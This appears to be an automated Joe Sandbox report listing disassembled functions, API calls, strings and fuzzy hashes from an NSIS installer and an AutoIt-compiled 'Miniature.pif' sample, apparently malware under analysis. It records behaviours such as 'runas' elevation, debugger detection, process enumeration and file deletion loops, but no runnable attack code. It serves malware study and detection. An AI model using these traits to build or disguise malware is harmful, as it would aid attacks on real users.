Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: Miniature.pifPID: 2484, Parent PID: 6804COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	76

Executed Functions

Function 00FA5240 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00FA526C
IsDebuggerPresent.KERNEL32 ref: 00FA527E
GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00FA52E6

Part of subcall function 00FA1821: _memmove.LIBCMT ref: 00FA185B

Part of subcall function 00F9BBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00F9BC07

SetCurrentDirectoryW.KERNEL32(?), ref: 00FA5366
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00FE0B2E
SetCurrentDirectoryW.KERNEL32(?), ref: 00FE0B66
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,01046D10), ref: 00FE0BE9
ShellExecuteW.SHELL32(00000000), ref: 00FE0BF0

Part of subcall function 00FA514C: GetSysColorBrush.USER32(0000000F), ref: 00FA5156
Part of subcall function 00FA514C: LoadCursorW.USER32(00000000,00007F00), ref: 00FA5165
Part of subcall function 00FA514C: LoadIconW.USER32(00000063), ref: 00FA517C
Part of subcall function 00FA514C: LoadIconW.USER32(000000A4), ref: 00FA518E
Part of subcall function 00FA514C: LoadIconW.USER32(000000A2), ref: 00FA51A0
Part of subcall function 00FA514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00FA51C6
Part of subcall function 00FA514C: RegisterClassExW.USER32(?), ref: 00FA521C

Part of subcall function 00FA50DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00FA5109
Part of subcall function 00FA50DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00FA512A
Part of subcall function 00FA50DB: ShowWindow.USER32(00000000), ref: 00FA513E
Part of subcall function 00FA50DB: ShowWindow.USER32(00000000), ref: 00FA5147

Part of subcall function 00FA59D3: _memset.LIBCMT ref: 00FA59F9
Part of subcall function 00FA59D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00FA5A9E

Strings

It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00FE0B28
AutoIt, xrefs: 00FE0B23
runas, xrefs: 00FE0BE4

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 529118366-2030392706
Opcode ID: 075f2c9e0b7141af563ee5ff4fbda761e947b08184726ff23b8f48445d3e9cbc
Instruction ID: 55f17c3f8225d685d0623abaff85982dc92043b5ad5bbe246cc96d1b41b84df0
Opcode Fuzzy Hash: 075f2c9e0b7141af563ee5ff4fbda761e947b08184726ff23b8f48445d3e9cbc
Instruction Fuzzy Hash: 015115B1D00348AADF21ABB0DC42EFF7B79BF86790F104069F891A6146CABD4544FB21

Function 00FF3CE2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00FA2A58,?,00008000), ref: 00FB02A4

Part of subcall function 00FF4FEC: GetFileAttributesW.KERNEL32(?,00FF3BFE), ref: 00FF4FED

FindFirstFileW.KERNEL32(?,?), ref: 00FF3D96
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00FF3E3E
MoveFileW.KERNEL32(?,?), ref: 00FF3E51
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00FF3E6E
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00FF3E90
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00FF3EAC

Strings

\*.*, xrefs: 00FF3D41, 00FF3D4A, 00FF3D5F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: d6f381986d419dda69d9b155b91028907015f8882af791592b86b798c92640dc
Instruction ID: e53b8bde3509cdb874f5175d3ddb1198f8666585d29b83094f91f260485b38c1
Opcode Fuzzy Hash: d6f381986d419dda69d9b155b91028907015f8882af791592b86b798c92640dc
Instruction Fuzzy Hash: 70517E7180111DAACF15EBA0CD929FEB779AF12311F200165E546B31A2EF396F0DEB60

Function 00FA5D13 Relevance: 10.7, APIs: 7, Instructions: 223COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00FA5D40

Part of subcall function 00FA1821: _memmove.LIBCMT ref: 00FA185B

GetCurrentProcess.KERNEL32(?,01020A18,00000000,00000000,?), ref: 00FA5E07
IsWow64Process.KERNEL32(00000000), ref: 00FA5E0E
GetNativeSystemInfo.KERNEL32(00000000), ref: 00FA5E54
FreeLibrary.KERNEL32(00000000), ref: 00FA5E5F
GetSystemInfo.KERNEL32(00000000), ref: 00FA5E90
GetSystemInfo.KERNEL32(00000000), ref: 00FA5E9C

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: e82a79d94042335850569cd73d27ca9b475a63697a30e9ead17223bf9fe4e05a
Instruction ID: 4251bb5b9bc26fe69c7428f356c875b0883c377201c38de37c5e5110490051c0
Opcode Fuzzy Hash: e82a79d94042335850569cd73d27ca9b475a63697a30e9ead17223bf9fe4e05a
Instruction Fuzzy Hash: BC91F771989BC0DEC731CB7584905ABFFE5AF3A310B980A5ED0C793A01D234A548E759

Function 00FF4005 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00FA2A58,?,00008000), ref: 00FB02A4

Part of subcall function 00FF4FEC: GetFileAttributesW.KERNEL32(?,00FF3BFE), ref: 00FF4FED

FindFirstFileW.KERNEL32(?,?), ref: 00FF407C
DeleteFileW.KERNEL32(?,?,?,?), ref: 00FF40CC
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00FF40DD
FindClose.KERNEL32(00000000), ref: 00FF40F4
FindClose.KERNEL32(00000000), ref: 00FF40FD

Strings

\*.*, xrefs: 00FF404E

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: d90f3bc47ffa49d7471f556faa83a26d377976db0fa85ece293bd13476910f40
Instruction ID: 9a5fcf0f5beea4adbe592035021e156dba4427f048058f34de9995f32b23bc5c
Opcode Fuzzy Hash: d90f3bc47ffa49d7471f556faa83a26d377976db0fa85ece293bd13476910f40
Instruction Fuzzy Hash: D83182710083499BC311EF64CC919BFB7E8BE96315F440A1DF5E582191EF29E90DE752

Function 00FF4148 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00FF416D
Process32FirstW.KERNEL32(00000000,?), ref: 00FF417B
Process32NextW.KERNEL32(00000000,?), ref: 00FF419B
CloseHandle.KERNEL32(00000000), ref: 00FF4245

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: d7f297f89a012e09664face9c5ad0ebc4980139fff51072795c9083a01808906
Instruction ID: d4f5eece3b14fca1b2b5b17607fa2f44125c8cdd7b28cef5e4ce0f77b4162385
Opcode Fuzzy Hash: d7f297f89a012e09664face9c5ad0ebc4980139fff51072795c9083a01808906
Instruction Fuzzy Hash: 9C318BB11083459BD310EF50D885ABFBBE8BF96350F10092DF685821A1EB65AA49DB92

Function 00F9B020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 00FA3740: CharUpperBuffW.USER32(?,010571DC,00000000,?,00000000,010571DC,?,00F953A5,?,?,?,?), ref: 00FA375D

_memmove.LIBCMT ref: 00F9B68A

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: BuffCharUpper_memmove
String ID:
API String ID: 2819905725-0
Opcode ID: 8a138d5291b32a8e049a2de2c996d35fe5410f79274ba5741da36f3ac5e5c107
Instruction ID: 280e2bd7098762663d0045adcb28a8ac0b7f8107a32b1e776eb575d91040db94
Opcode Fuzzy Hash: 8a138d5291b32a8e049a2de2c996d35fe5410f79274ba5741da36f3ac5e5c107
Instruction Fuzzy Hash: 2CA28A71A08341CFEB20CF14D580B2AB7E1BF84314F18895EE99A8B361D775ED45EB92

Function 00FF494A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00FDFC86), ref: 00FF495A
FindFirstFileW.KERNEL32(?,?), ref: 00FF496B
FindClose.KERNEL32(00000000), ref: 00FF497B

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: ba8d450af7d72b23b7dcfbf1edc2be780ad1b000d1ab39ee4be743ff24e4ca13
